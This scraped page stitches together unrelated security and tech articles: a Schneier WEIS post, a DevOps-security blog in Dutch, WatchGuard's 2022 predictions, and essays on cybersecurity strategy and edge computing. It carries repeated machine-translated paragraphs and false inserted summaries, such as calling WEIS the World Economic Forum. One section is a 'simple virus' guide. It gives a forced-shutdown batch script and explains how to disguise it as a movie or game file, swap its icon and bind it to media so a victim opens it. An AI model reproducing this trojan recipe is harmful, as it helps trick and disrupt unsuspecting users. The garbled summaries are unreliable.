2022 Workshop on Economics and Information Security (WEIS) - Schneier on Security

It's been a year since the World Economic Forum (WEIS) ended.

Het is een jaar geleden dat het Wereld Economisch Forum (WEIS) is afgelopen.

I did not attend WEIS this year, but Ross Anderson was there and liveblogged all the talks. Posted on June 27, 2022 at 6:42 AM• 0 Comments

Ik was dit jaar niet bij WEIS, maar Ross Anderson was er wel en heeft alle lezingen live geblogd. Geplaatst op 27 juni 2022 om 6:42 AM- 0 Reacties

I did not attend WEIS this year, but Ross Anderson was there and liveblogged all the talks.

Posted on June 27, 2022 at 6:42 AM
• 0 Comments

How To Make A Simple Virus ? (Windows) | HackeRoyale

Dit is een gids voor het maken van virussen.

Let me tell you, making viruses is not a very difficult task instead, difficulty ranges with the type of virus being made. Be sure, this is just for educational purpose and the virus being made is not harmful to user data. Let’s start off:• Run Notepad: Notepad will allow you to input text with very little formatting.

Hallo vrienden, Je weet misschien wel wat een virus is. Het maken van virussen is niet zo moeilijk, maar de moeilijkheidsgraad hangt af van het soort virus dat wordt gemaakt. Wees er zeker van, dit is alleen voor educatieve doeleinden en het virus dat gemaakt wordt is niet schadelijk voor gebruikersgegevens.

Hello friends, You might be aware of what a virus is. Have you ever felt any excitement of making one by yourself? Let me tell you, making viruses is not a very difficult task instead, difficulty ranges with the type of virus being made. This article will tell How to make a simple virus. Be sure, this is just for educational purpose and the virus being made is not harmful to user data. Let’s start off:
• Run Notepad: Notepad will allow you to input text with very little formatting.

 Click Start –> All Programs –> Accessories –> Notepad.
• Code: write down the following lines into your text file as such:

 @echo off

 echo Message here.

 shutdown -s -f -t 60 -c “”

Note: Here 60 relates to time after which the windows will shut down. you can change that value as per your wish.

Also, read: How To Hack Any Facebook Account Using Shadowave.
• Now save the file with a name that would be provoking to the user to open the file. You can use a movie name or a game name to make user open the file.
• Remember to save the file with .bat or .cmd extension. This makes the file executable.
• Change the .txt extension to .bat or .cmd.
• Now open the file and now you can change the icon of that file so as to make it more appealing for the user to open it.
• For changing the icon, right click o the file and then click on properties and then click on change icon button. This will change the image of our virus and victim will not able to identify it.
• Choose the icon which suits best to your file name and then clicks on OK button.

Also, you can hide this file ( the virus you just made) under any other media files like songs, videos or anything else. So victim will trust easily to it. For this, you need to take help of binders. For any help with binders follow the link below:

Feel free to ask any queries.

 Thanks

Telecombedrijven onderstrepen dat de transformatie naar ‘agile frameworks’ en DevOps bij hen een prioriteit is, op korte voet gevolgd door cybersecurity. Dat zijn nou net topics die elkaar vaak bijten. Hoe dat precies zit en hoe we deze toch samen kunnen brengen ten gunste van je organisatie, vertel ik in deze blog.

When it comes to digital technology, it's often a question that needs to be answered.

Als het om digitale technologie gaat, is het vaak een vraag die moet worden beantwoord.

Telecombedrijven onderstrepen dat de transformatie naar ‘agile frameworks’ en DevOps bij hen een prioriteit is, op korte voet gevolgd door cybersecurity. Het is geen verrassing dat de transformatie naar agile frameworks en DevOps bij de telecomsector zo hoog scoort in CGI’s wereldwijde ‘Voice of Our Clients’-onderzoek. Het is een logische vervolgstap in de soms al decennia durende digitale transformatie die deze bedrijven ondergaan.

Telecom companies emphasize that the transformation to agile frameworks and DevOps is a priority for them, followed closely by cybersecurity. It's no surprise that the transformation to agile frameworks and DevOps in the telecom sector ranks so highly in CGI's global Voice of Our Clients survey. It is a logical next step in the sometimes decades-long digital transformation these companies are undergoing.

Telecombedrijven onderstrepen dat de transformatie naar ‘agile frameworks’ en DevOps bij hen een prioriteit is, op korte voet gevolgd door cybersecurity. Dat zijn nou net topics die elkaar vaak bijten. Hoe dat precies zit en hoe we deze toch samen kunnen brengen ten gunste van je organisatie, vertel ik in deze blog.

Het is geen verrassing dat de transformatie naar agile frameworks en DevOps bij de telecomsector zo hoog scoort in CGI’s wereldwijde ‘Voice of Our Clients’-onderzoek. Het is een logische vervolgstap in de soms al decennia durende digitale transformatie die deze bedrijven ondergaan. De digitale reis krijgt steeds nieuwe impulsen en versnellingen, doorgaans ingegeven door nieuwe technologieën en de groeiende mogelijkheden om verder te automatiseren. Waar ooit ‘waterval’-projectmanagement werd ingezet, werd ‘agile’ het devies, met autonome ontwikkelteams en later zelfs DevOps. Een manier van werken waarbij ontwikkeling en beheer met elkaar verweven zijn. Wat je bouwt, beheer je ook, waarbij teams meer eigenaarschap voelen over de hele levenscyclus van een applicatie.

Door het proces van bouwen, testen en uitrollen van de software verregaand te automatiseren en de performance van de applicaties voortdurend te meten, zorgt DevOps voor een veel snellere, betere applicatieontwikkeling en een snellere release van nieuwe of herziene software aan de gebruikers. De zo cruciale time-to-market wordt hierdoor met maar liefst honderden procenten verkort. Eén van de grondleggers hiervan is streamingsdienst Spotify. (Lees hoe Spotify snelle releases mogelijk maakt, door de inzet van een ‘continuous deployment’.)

 Telecombedrijven modelleren zich graag naar innovatieve techbedrijven die full stack nieuwe features ontwikkelen. Zij bereiken hierdoor een veel kortere time-to-market op basis van veel snellere feedback van de klant. Minder vooraf investeren, vaker waarde leveren: het maakt DevOps-modellen een logische keuze voor de tech-driven telecomsector.

Naast agile en DevOps geven de telecombedrijven die deelnamen aan onze 'Voice of the Client’-interviews ook cybersecurity een plaats in hun top vijf. Ook dit komt niet als een verrassing. Er zijn immers enkele veranderingen in de wetgeving op komst die impact hebben op de telecombedrijven: zij worden, net als energiebedrijven, gezien als ‘kritische infrastructuur’. Zeker in het perspectief van een wereldwijde pandemie, waarin het massale thuiswerken onderstreepte hoe essentieel de telecommunicatie-infrastructuren en telecomdiensten zijn om de economie draaiend te houden én om mensen te blijven verbinden. Natuurlijk vindt de wetgever het dan uitermate belangrijk dat de telecombedrijven goed beveiligd zijn. Er zijn per seconde honderden geautomatiseerde hacks, dus een goede beveiliging is essentieel.

Voor telecombedrijven is effectieve security noodzakelijk om hun core business te beschermen. Daarnaast is het voor veel telecombedrijven ook onderdeel van hun core business: ze leveren zelf cybersecurity-diensten aan hun klanten.

Bovenop dit alles is er ook sprake van een groeiende bewustwording. Als ontwikkelaar ligt je focus op het leveren van waarde aan je klanten en het toevoegen van waarde aan je product. Dit leidde vroeger vaak tot ‘om de security heen’ werken, omdat veiligheidsmaatregelen waardevolle tijd kostten die anders aan oplossingen voor de business besteed konden worden. Als je je in een project of in een agile team toch met de security ging bemoeien, kreeg je het gevoel dat je wellicht niet op tijd zou kunnen leveren. En dus deed je het minimale, om te voldoen aan de acceptatie-eisen. Tegenwoordig zien we meer en meer de noodzaak van een goede beveiliging van onze applicatie. We beseffen ook hoe belangrijk het is om security-expertise tijdig bij het initiatief te betrekken – het ‘security by design’-principe. We willen simpelweg niet iets leveren dat risico’s brengt, want dan zijn we uiteindelijk veel meer tijd en geld kwijt. Nog los van eventuele reputatieschade of impact op klanten. Zo doorlopen we het hele traject soepeler en sneller, terwijl we iets opleveren dat én veilig is én aan alle regel- en wetgeving voldoet.

We hebben dus twee trends: Agile/DevOps en Cybersecurity. Het frappante aan dit duo is dat ze elkaar kunnen bijten. Ze zitten elkaar tegenwoordig in de haren. Waar voorheen ‘Ops’ de resultaten van ‘Dev’ pas accepteerde als ook alle security boxes aangevinkt waren, gebeurt dit sinds de samensmelting niet meer. Het is nu immers één team, de zogenaamde squad, zonder ‘muurtjes’. En dat squad werkt autonoom, omdat het nemen van beslissingen steeds lager in de organisatie is komen te liggen. Er wordt van bovenaf niets opgedragen; elke squad bepaalt zelf hoe iets wordt opgelost. De squadleden hanteren daarbij agile-basisprincipes als ‘Individuals and interactions over processes and tools’ en ‘Working software over comprehensive documentation’ en werken volgens de ‘lean’-gedachte: laat weg wat je niet nodig acht. Waaronder de security, want als je je niet bewust bent van de security-risico’s, is dat toch alleen maar ballast op weg naar een kortere time-to-market. Een risicomanager denkt daar heel anders over. Voor hem is beveiliging een absolute must. En dat botst. De vraag is dus: hoe brengen we die twee werelden samen?

Bovenstaand vraagstuk kent geen kant-en-klare oplossing die je over je gehele organisatie kunt uitrollen. Een organisatie bestaat immers uit divisies en daarbinnen heb je weer allerlei tribes en squads. Elke tribe, maar vaak ook elke squad, beleeft de ingezette transformatie op een ander volwassenheidsniveau. Dat zit zo: verandering heeft vele aspecten en kost tijd. Het raakt de mensen, hun gevoel van eigenaarschap over het product, de processen en ingezette automatisering, of wel: people, processes & tools. Als je security dus wilt inbedden in DevOps, moet je bij elke squad kijken waar ze staat, op elk van die aspecten. Dat bepaalt het vervolg. Als een squad bijvoorbeeld nog geen geautomatiseerde tools voor continue software ontwikkeling en uitrol (CICD) heeft, dan heeft het ook geen zin om te beginnen met aansluiten van een security code scanning tool op hun software ontwikkelproces.

Bij elk traject waarbij we security integreren in DevOps, is het belangrijk de klant te vragen naar diens ambities. Met name: hoe ver willen ze zijn in DevOps, maar ook in het beveiligen van hun systemen, wat zijn de risico’s die ze absoluut willen voorkomen en welke zijn acceptabel? We willen graag ook het volwassenheidsniveau van alle tribes en squads binnen die organisatie in kaart brengen. Voor dat laatste hebben we een maturity-model gemaakt gebaseerd op industriestandaarden als OWASP en ISO 27001.

Als we weten wat het ambitieniveau van de organisatie is, op de hoogte zijn van de initiatieven die al lopen en in kaart hebben gebracht wat de maturity van diverse squads is, starten we een pilot. Dat doen we doorgaans met één pilot squad, dat levert de blueprint met standaarden voor de overige squads. De best practices gebruiken we bij de uitrol.

Zoals je in het figuur hieronder kunt zien, kun je op verschillende momenten in het ontwikkelproces, instappen als het om security gaat. Afhankelijk van de risico’s, bedreigingen en ambities, kun je zorgen voor ‘just enough security’.

Hoe eerder in het cyclus je instapt, hoe dieper de security ingebakken is. En dat is essentieel, want dan lever je niet alleen een veilige applicatie, maar heb je minimale impact op je time-to-market. Problemen die later ontdekt worden, kosten nu eenmaal meer tijd om op te lossen. Niet voor niets stelt onze CSO Stan Sims: ‘Security should be baked-in, not bolted on’. Een credo dat wat mij betreft straks ook bij de DevOps-teams van de telecombedrijven op een tegeltje aan de muur mag komen te hangen.

Bij CGI leveren we onze klanten allerlei security-diensten, passend bij zowel ‘Dev’ als ‘Ops’ en de integratie daartussen. Van design en threat modelling, Security Testing as a Service, tot managed security services.

Hoe de integratie van Agile, DevOps en Cybersecurity telecombedrijven profijt kan brengen

A look at the future of cybersecurity in 2022 and beyond By Corey Nachreiner, Chief Security Officer, WatchGuard Technologies 2021 was another wild year in cybersecurity with the industry facing everything from hackers attacking remote

The future of cybersecurity has been a hugely anticipated year. But what does this mean for the security industry?

De toekomst van cyberbeveiliging is een jaar waar enorm naar is uitgekeken. Maar wat betekent dit voor de beveiligingsindustrie?

If not, here are some of our 2022 predictions (you access the entire list here):• State-Sponsored Mobile Threats Trickle Down to the Cybercrime UnderworldMobile malware certainly exists – especially on the Android platform – but hasn’t yet risen to the same scale of traditional desktop malware. However, serious remote vulnerabilities have existed against these devices, though harder to find. Meanwhile, mobile devices present a very enticing target to state-sponsored cyber teams due to both the devices’ capabilities and information contained in them.

Sinds het astronomische succes van ransomware in 2013 zijn cyberverzekeraars zich ervan bewust geworden dat de uitbetalingskosten om klanten tegen deze bedreigingen in te dekken, drastisch zijn gestegen. Gezien deze twee trends, plus de waarde van orbitale systemen voor natiestaten, economieën en de samenleving, vermoeden wij dat regeringen hun cyberverdedigingscampagnes in de ruimte al stilletjes zijn begonnen. Niet alleen is de prijs van verzekeringen gestegen, maar verzekeraars scannen en controleren nu ook actief de beveiliging van klanten alvorens cyberveiligheidsgerelateerde dekking te bieden.

A look at the future of cybersecurity in 2022 and beyond

2021 was another wild year in cybersecurity with the industry facing everything from hackers attacking remote workers to a deluge of ransomware attacks against critical infrastructure and much more. As we wave goodbye to 2021, it’s time for the WatchGuard Threat Lab to provide its annual predictions for 2022. This year the team decided to layer on some added humor and deliver our predictions with some fun “SNL Weekend Update” parody style videos – so if you’d rather watch than read, take a look here. If not, here are some of our 2022 predictions (you access the entire list here):
• State-Sponsored Mobile Threats Trickle Down to the Cybercrime Underworld

Mobile malware certainly exists – especially on the Android platform – but hasn’t yet risen to the same scale of traditional desktop malware. In part, we believe this is due to mobile devices being designed with a secure mechanism (e.g., secure boot) from the start, making it much more difficult to create “zero-touch” threats that don’t require victim interaction. However, serious remote vulnerabilities have existed against these devices, though harder to find.

Meanwhile, mobile devices present a very enticing target to state-sponsored cyber teams due to both the devices’ capabilities and information contained in them. As a result, groups selling to state-sponsored organizations are mostly responsible for funding much of the sophisticated threats and vulnerabilities targeting mobile devices. Unfortunately, like in the case of Stuxnet, when these more sophisticated threats leak, criminal organizations learn from them and copy the attack techniques.

Next year, we believe we’ll see an increase in sophisticated cybercriminal mobile attacks due to the state-sponsored mobile attacks that have started to come to light.

With renewed government and private focus on the “Space Race” and recent cybersecurity research concentration on satellite vulnerabilities, we believe a “hack in space” will hit the headlines in 2022.

Recently, satellite hacking has gained investigative attention from the cybersecurity community among researchers and at conferences like DEF CON. While satellites might seem out of reach from most threats, researchers have found they can communicate with them using about $300 worth of gear. Furthermore, older satellites may not have focused on modern security controls.

Meanwhile, many private companies have begun their space race, which will greatly increase the attack surface in orbit. Between those two trends, plus the value of orbital systems to nation states, economies, and society, we suspect governments have quietly started their cyber defense campaigns in space already. Don’t be surprised if we see a space-related hack in the headlines soon.

Text-based phishing, known as SMSishing has increased steadily over the years. Like email social engineering, it started with untargeted lure messages being spammed to large groups of users, but lately has evolved into more targeted texts that masquerade as messages from someone you know. In parallel, the platforms we prefer for short text messages have evolved as well.

Users, especially professionals, have realized the insecurity of cleartext SMS messages thanks to NIST, various carrier breaches, and knowledge of weaknesses in carrier standards like Signaling System 7 (SS7).

Where legitimate users go, malicious cybercriminals follow. As a result, we are starting to see an increase in reports of malicious spear SMSishing-like messages to messenger platforms like WhatsApp. We expect to see targeted phishing messages over many messaging platforms double in 2022.

It’s official. Windows has gone password-less! While we celebrate the move away from passwords alone for digital validation, we also believe the continued current focus of single-factor authentication for Windows logins simply repeats the mistakes from history. Windows 10 and 11 will now allow you to set up completely password-less authentication, using options like Hello (Microsoft’s biometrics), a Fido hardware token, or an email with a one-time password (OTP).

The only strong solution to digital identify validation is multi-factor authentication (MFA). In our opinion, Microsoft (and others) could have truly solved this problem by making MFA mandatory and easy in Windows. You can still use Hello as one easy factor of authentication, but organizations should force users to pair it with another, like a push approval to your mobile phone that’s sent over an encrypted channel. We predict that Windows password-less authentication will take off in 2022, but we expect hackers and researchers to find ways to bypass it.

Since the astronomical success of ransomware starting back in 2013, cyber security insurers have realized that payout costs to cover clients against these threats have increased dramatically. In fact, according to a report from S&P Global, cyber insurers’ loss ratio increased for the third consecutive year in 2020 by 25 points, or more than 72%. This resulted in premiums for stand-alone cyber insurance policies to increase 28.6% in 2020 to $1.62 billion USD. As a result, they have greatly increased the cybersecurity requirements for customers. Not only has the price of insurance increased, but insurers now actively scan and audit the security of clients before providing cyber security-related coverage.

In 2022, if you don’t have the proper protections in place, you may not get cyber insurance at the price you’d like, or at all. Like other regulations and compliance standards, this new insurer focus on security and auditing will drive a new focus by companies to improve defenses in 2022.

Corey Nachreiner is the CSO of WatchGuard Technologies. A front-line cybersecurity expert for nearly two decades, Corey regularly contributes to security publications and speaks internationally at leading industry trade shows like RSA. He has written thousands of security alerts and educational articles and is the primary contributor to the Secplicity Community, which provides daily videos and content on the latest security threats, news and best practices. A Certified Information Systems Security Professional (CISSP), Corey enjoys “modding” any technical gizmo he can get his hands on and considers himself a hacker in the old sense of the word. Corey can be reached online via Twitter and WatchGuard’s company website https://www.watchguard.com.

FAIR USE NOTICE: Under the "fair use" act, another author may make limited use of the original author's work without asking permission. Pursuant to 17 U.S. Code § 107, certain uses of copyrighted material "for purposes such as criticism, comment, news reporting, teaching (including multiple copies for classroom use), scholarship, or research, is not an infringement of copyright." As a matter of policy, fair use is based on the belief that the public is entitled to freely use portions of copyrighted materials for purposes of commentary and criticism. The fair use privilege is perhaps the most significant limitation on a copyright owner's exclusive rights. Cyber Defense Media Group is a news reporting company, reporting cyber news, events, information and much more at no charge at our website Cyber Defense Magazine. All images and reporting are done exclusively under the Fair Use of the US copyright act.

WatchGuard Technologies’ 2022 Predictions: State-Sponsored Mobile Threats, Space-Related Hacks and More

We’ve got a cybersecurity problem, but it’s not the one we think we have. The problem is how we think about cybersecurity problems.

In our series of letters from African journalists, Peter Trinh looks at how cybersecurity is handled.

In onze reeks brieven van Afrikaanse journalisten kijkt Peter Trinh naar de manier waarop met cyberveiligheid wordt omgegaan.

We’ve got a cybersecurity problem, but it’s not the one we think we have. The problem is in how we think about cybersecurity problems. Too many of us are stuck in a reactive loop, looking for silver bullet solutions, when we need to change how we view cybersecurity problems instead.

We hebben een cyberbeveiligingsprobleem, maar het is niet het probleem dat we denken te hebben. Te veel van ons zitten vast in een reactieve lus, op zoek naar wondermiddeloplossingen, terwijl we in plaats daarvan moeten veranderen hoe we tegen cyberbeveiligingsproblemen aankijken. Het probleem met deze benadering is dat zij de mogelijkheid uitsluit om proactief te zijn in plaats van reactief, en gezien de toenemende inzet hebben wij echt een holistische aanpak nodig.

We’ve got a cybersecurity problem, but it’s not the one we think we have. The problem is in how we think about cybersecurity problems. Too many of us are stuck in a reactive loop, looking for silver bullet solutions, when we need to change how we view cybersecurity problems instead.

For CISOs at companies worldwide, across every industry, the struggle is real. There’s an incident, and the organization reacts. Too often, the response will be to buy a new software product that is eventually destined to fail, starting the reactive cycle all over again.

The trouble with this approach is that it forecloses the opportunity to be proactive instead of reactive, and given the rising stakes, we genuinely need a holistic approach. In the U.S., the average cost of a data breach now exceeds $4 million, and that may not include downstream costs, such as higher cyber insurance rates and the revenue hit the company may experience due to reputational damage.

We need a new approach, and lessons from a generation ago can point us in the right direction. Back then, cybersecurity professionals created disaster recovery and business continuity plans, calculating downtime and its disruptive effects to justify investment in a holistic approach. We can do that again, but it will require less focus on tools and more clarity of purpose.

Clear as mud: Marketplace complexity and diverse cybersecurity needs

One barrier to clarity is the growing volume and sophistication of threats and the corresponding proliferation of tools to counter those threats. Fast cybersecurity solution growth was already a trend before the pandemic, but work-from-home protocols significantly expanded the attack surface, prompting a renewed focus on security and even more new solution market entrants.

The availability of new tools isn’t the issue — many of the cybersecurity solutions on the market today are excellent and sorely needed. But expansion of an already crowded marketplace, along with proliferating threats and evolving attack surfaces, makes it even more challenging for CISOs to know which path to choose.

Further complicating matters is the fact that each organization has unique cybersecurity needs. They have different assets to protect, and the ideal schema varies considerably across organizations according to size, infrastructure (cloud vs. on-premise, etc.), workforce distribution, region and other factors. Gaining clarity requires a shift in mindset.

Gain clarity by focusing on outcomes instead of tools

CISOs who are stuck in a reactive loop can start to break free of that pattern by focusing on outcomes instead of tools. The quote from Theodore Isaac Rubin at the top of this article is instructive here; the problem can’t be solved by replacing a failed tool, though depending on the circumstances, that may be necessary.

The problem is the attitude about the larger problem, i.e., the delusion that we can solve our cybersecurity woes by finding the right product. The problem is being surprised when that doesn’t work, repeatedly.

Instead, it’s time to focus on the desired outcome — one that is unique to each organization depending on its threat landscape — and seek solutions across people, processes and technologies to reach that desired state. It can’t be all about software and platforms. If the pandemic years have taught us anything, it’s that people and processes have to be part of the solution too.

The business case for a new approach

A focus on outcomes and a plan that encompasses people, processes and technologies is a modern strategy that borrows a page from the disaster recovery and business continuity plans of the past in that it is comprehensive. It accounts for the revenue hit associated with cybersecurity exposure and justifies investment in a new approach to avoid those costs — that’s part of the business case.

Another argument in favor of change is that it’s needed to address the speed at which threat vectors grow and asset protection must evolve today. At too many companies, the current cybersecurity posture is analogous to the way operating systems used to be periodically updated vs. the live updates we rely on now. Everything moves faster now, so waiting for a new release isn’t acceptable.

A new approach will require broader input to formulate an adequate response because threats are more distributed than ever. CISOs need internal input from employees and business unit executives. They need information from the FBI and cybersecurity thought leaders. Many will require a partnership to guide the organization through this journey and enable the company to focus on its core business.

Identifying the appropriate cybersecurity solution starts with defining critical business assets and a desired outcome. For CISOs who decide to partner with an expert to help them succeed on this journey, it’s a good idea to find a team that isn’t trying to sell a particular tool. It’s also important to consult experts who understand that solving the cybersecurity problem will involve people, processes and technologies.

People are always going to be the front line of defense, so building a security-minded culture and matching processes will be critical. A partner who understands the crucial role people play is therefore essential. It’s also advisable to demand proof points from potential partners, such as access to a customer who has worked with the team through a breach.

Our cybersecurity problem isn’t what we think it is. The real problem is a failure to accept that there are no magic bullets and that only a holistic approach that addresses the true scale of the threat — and all facets of the attack surface — is equal to the challenge. CISOs who accept this can break free of the reactive loop and proactively reduce organizational risk.

Peter Trinh is an SME in cybersecurity at TBI Inc.

The problem with our cybersecurity problem

A programmer shares his perspective as to why he believes the edge, rather than software, is actually eating the world.

When it comes to computing, there is a growing debate about the future of the web.

Wat informatica betreft, is er een groeiend debat over de toekomst van het web.

Web applications have been using the client-server model for over four decades. A client sends a request to a server that runs a web server program and returns the contents for the web application. Both client and server are just computers connected to the internet.

Webapplicaties maken al meer dan vier decennia gebruik van het client-server model. Een client stuurt een verzoek naar een server die een webserverprogramma uitvoert en de inhoud voor de webapplicatie terugstuurt. Zowel client als server zijn gewoon computers die met het internet zijn verbonden.

More than 10 years ago, Marc Andreesen published his famous “Why Software Is Eating The World” in the Wall Street Journal. He explains, from an investor’s perspective, why software companies are taking over whole industries.

As the founder of a company that enables GraphQL at the edge, I want to share my perspective as to why I believe the edge is actually eating the world. We’ll have a quick look at the past, review the present, and dare a sneak peek into the future based on observations and first principles reasoning.

Web applications have been using the client-server model for over four decades. A client sends a request to a server that runs a web server program and returns the contents for the web application. Both client and server are just computers connected to the internet.

In 1998, five MIT students observed this and had a simple idea: let’s distribute the files into many data centers around the planet, cooperating with telecom providers to leverage their network. The idea of a so-called content delivery network (CDN) was born.

CDNs started not only storing images but also video files and really any data you can imagine. These points of presence (PoPs) are the edge, by the way. They are servers that are distributed around the planet – sometimes hundreds or thousands of servers with the whole purpose being to store copies of frequently accessed data.

While the initial focus was to provide the right infrastructure and “just make it work,” those CDNs were hard to use for many years. A revolution in developer experience (DX) for CDNs started in 2014. Instead of uploading the files of your website manually and then having to connect that with a CDN, these two parts got packaged together. Services like surge.sh, Netlify, and Vercel (fka Now) came to life.

By now, it’s an absolute industry standard to distribute your static website assets via a CDN.

Okay, so we now moved static assets to the edge. But what about computing? And what about dynamic data stored in databases? Can we lower latencies for that as well, by putting it nearer to the user? If, so, how?

Welcome to the edge

Let’s take a look at two aspects of the edge:

In both areas we see incredible innovation happening that will completely change how applications of tomorrow work.

What if an incoming HTTP request doesn’t have to go all the way to the data center that lives far, far away? What if it could be served directly next to the user? Welcome to edge compute.

The further we move away from one centralized data center to many decentralized data centers, the more we have to deal with a new set of tradeoffs.

Instead of being able to scale up one beefy machine with hundreds of GB of RAM for your application, at the edge, you don’t have this luxury. Imagine you want your application to run in 500 edge locations, all near to your users. Buying a beefy machine 500 times will simply not be economical. That’s just way too expensive. The option is for a smaller, more minimal setup.

An architecture pattern that lends itself nicely to these constraints is Serverless. Instead of hosting a machine yourself, you just write a function, which then gets executed by an intelligent system when needed. You don’t need to worry about the abstraction of an individual server anymore: you just write functions that run and basically scale infinitely.

As you can imagine, those functions ought to be small and fast. How could we achieve that? What is a good runtime for those fast and small functions?

Right now, there are two popular answers to this in the industry: Using JavaScript V8 isolates or using WebAssembly (WASM).

The JavaScript V8 isolates, popularized in Cloudflare Workers, allow you to run a full JavaScript engine at the edge. When Cloudflare introduced the workers in 2017, they were the first to provide this new simplified compute model for the edge.

Since then, various providers, including Stackpath, Fastly and our good ol’ Akamai, released their edge compute platforms as well — a new revolution started.

An alternative compute model to the V8 JavaScript engine that lends itself perfectly for the edge is WebAssembly. WebAssembly, which first appeared in 2017, is a rapidly growing technology with major companies like Mozilla, Amazon, Arm, Google, Microsoft and Intel heavily investing in it. It allows you to write code in any language and compile it into a portable binary, which can run anywhere, whether it be in a browser or various server environments.

WebAssembly is without doubt one of the most important developments for the web in the last 20 years. It already powers Chess engines and design tools in the browser, runs on the Blockchain and will probably replace Docker.

While we already have a few edge compute offerings, the biggest blocker for the edge revolution to succeed is bringing data to the edge. If your data is still in a far away data center, you gain nothing by moving your computer next to the user — your data is still the bottleneck. To fulfill the main promise of the edge and speed things up for users, there is no way around finding solutions to distribute the data as well.

You’re probably wondering, “Can’t we just replicate the data all around the planet into our 500 data centers and make sure it’s up-to-date?”

While there are novel approaches for replicating data around the world like Litestream, which recently joined fly.io, unfortunately, it’s not that easy. Imagine you have 100TB of data that needs to run in a sharded cluster of multiple machines. Copying that data 500 times is simply not economical.

Methods are needed to still be able to store truck tons of data while bringing it to the edge.

In other words, with a constraint on resources, how can we distribute our data in a smart, efficient manner, so that we could still have this data available fast at the edge?

In such a resource-constrained situation, there are two methods the industry is already using (and has been for decades): sharding and caching.

To shard or not to shard

In sharding, you split your data into multiple datasets by a certain criteria. For example, selecting the user’s country as a way to split up the data, so that you can store that data in different geolocations.

Achieving a general sharding framework that works for all applications is quite challenging. A lot of research has happened in this area in the last few years. Facebook, for example, came up with their sharding framework called Shard Manager, but even that will only work under certain conditions and needs many researchers to get it running. We’ll still see a lot of innovation in this space, but it won’t be the only solution to bring data to the edge.

The other approach is caching. Instead of storing all the 100TB of my database at the edge, I can set a limit of, for example, 1GB and only store the data that is accessed most frequently. Only keeping the most popular data is a well-understood problem in computer science, with the LRU (least recently used) algorithm being one of the most famous solutions here.

You might be asking, “Why do we then not just all use caching with LRU for our data at the edge and call it a day?”

Well, not so fast. We’ll want that data to be correct and fresh: Ultimately, we want data consistency. But wait! In data consistency, you have a range of its strength: ranging from the weakest consistency or “Eventual Consistency” all the way to “Strong Consistency.” There are many levels in between too, i.e., “Read my own write Consistency.”

The edge is a distributed system. And when dealing with data in a distributed system, the laws of the CAP theorem apply. The idea is that you will need to make tradeoffs if you want your data to be strongly consistent. In other words, when new data is written, you never want to see older data anymore.

Such a strong consistency in a global setup is only possible if the different parts of the distributed system are joined in consensus on what just happened, at least once. That means that if you have a globally distributed database, it will still need at least one message sent to all other data centers around the world, which introduces inevitable latency. Even FaunaDB, a brilliant new SQL database, can’t get around this fact. Honestly, there’s no such thing as a free lunch: if you want strong consistency, you’ll need to accept that it includes a certain latency overhead.

Now you might ask, “But do we always need strong consistency?” The answer is: it depends. There are many applications for which strong consistency is not necessary to function. One of them is, for example, this petite online shop you might have heard of: Amazon.

Amazon created a database called DynamoDB, which runs as a distributed system with extreme scale capabilities. However, it’s not always fully consistent. While they made it “as consistent as possible” with many smart tricks as explained here, DynamoDB doesn’t guarantee strong consistency.

I believe that a whole generation of apps will be able to run on eventual consistency just fine. In fact, you’ve probably already thought of some use cases: social media feeds are sometimes slightly outdated but typically fast and available. Blogs and newspapers offer a few milliseconds or even seconds of delay for published articles. As you see, there are many cases where eventual consistency is acceptable.

Let’s posit that we’re fine with eventual consistency: what do we gain from that? It means we don’t need to wait until a change has been acknowledged. With that, we don’t have the latency overhead anymore when distributing our data globally.

Getting to “good” eventual consistency, however, is not easy either. You’ll need to deal with this tiny problem called “cache invalidation.” When the underlying data changes, the cache needs to update. Yep, you guessed it: It is an extremely difficult problem. So difficult that it’s become a running gag in the computer science community.

Why is this so hard? You need to keep track of all the data you’ve cached, and you’ll need to correctly invalidate or update it once the underlying data source changes. Sometimes you don’t even control that underlying data source. For example, imagine using an external API like the Stripe API. You’ll need to build a custom solution to invalidate that data.

In short, that’s why we’re building Stellate, making this tough problem more bearable and even feasible to solve by equipping developers with the right tooling. If GraphQL, a strongly typed API protocol and schema, didn’t exist, I’ll be frank: we wouldn’t have created this company. Only with strong constraints can you manage this problem.

I believe that both will adapt more to these new needs and that no one individual company can “solve data,” but rather we need the whole industry working on this.

There’s so much more to say about this topic, but for now, I feel that the future in this area is bright and I’m excited about what’s to come.

The future: It’s here, it’s now

With all the technological advances and constraints laid out, let’s have a look into the future. It would be presumptuous to do so without mentioning Kevin Kelly.

At the same time, I acknowledge that it is impossible to predict where our technological revolution is going, nor know which concrete products or companies will lead and win in this area 25 years from now. We might have whole new companies leading the edge, one which hasn’t even been created yet.

There are a few trends that we can predict, however, because they are already happening right now. In his 2016 book Inevitable, Kevin Kelly discussed the top twelve technological forces that are shaping our future. Much like the title of his book, here are eight of those forces:

Cognifying: the cognification of things, AKA making things smarter. This will need more and more compute directly where it’s needed. For example, it wouldn’t be practical to run road classification of a self-driving car in the cloud, right?

Flowing: we’ll have more and more streams of real-time information that people depend upon. This can also be latency critical: let’s imagine controlling a robot to complete a task. You don’t want to route the control signals over half the planet if unnecessary. However, a constant stream of information, chat application, real-time dashboard or an online game cannot be latency critical and therefore needs to utilize the edge.

Screening: more and more things in our lives will get screens. From smartwatches to fridges and even your digital scale. With that, these devices will oftentimes be connected to the internet, forming the new generation of the edge.

Sharing: the growth of collaboration on a massive scale is inevitable. Imagine you work on a document with your friend who’s sitting in the same city. Well, why send all that data back to a data center on the other side of the globe? Why not store the document right next to the two of you?

Filtering: we’ll harness intense personalization in order to anticipate our desires. This might actually be one of the biggest drivers for edge compute. As personalization is about a person or group, it’s a perfect use case for running edge compute next to them. It will speed things up and milliseconds equate to profits. We already see this utilized in social networks but are also seeing more adoption in ecommerce.

Interacting: by immersing ourselves more and more in our computer to maximize the engagement, this immersion will inevitably be personalized and run directly or very near to the user’s devices.

Tracking: Big Brother is here. We’ll be more tracked, and this is unstoppable. More sensors in everything will collect tons and tons of data. This data can’t always be transported to the central data center. Therefore, real-world applications will need to make fast real-time decisions.

Beginning: ironically, last but not least, is the factor of “beginning.” The last 25 years served as an important platform. However, let’s not bank on the trends we see. Let’s embrace them so we can create the greatest benefit. Not just for us developers but for all of humanity as a whole. I predict that in the next 25 years, shit will get real. This is why I say edge caching is eating the world.

As I mentioned previously, the issues we programmers face will not be the onus of one company but rather requires the help of our entire industry. Want to help us solve this problem? Just saying hi? Reach out at any time.

Why edge is eating the world

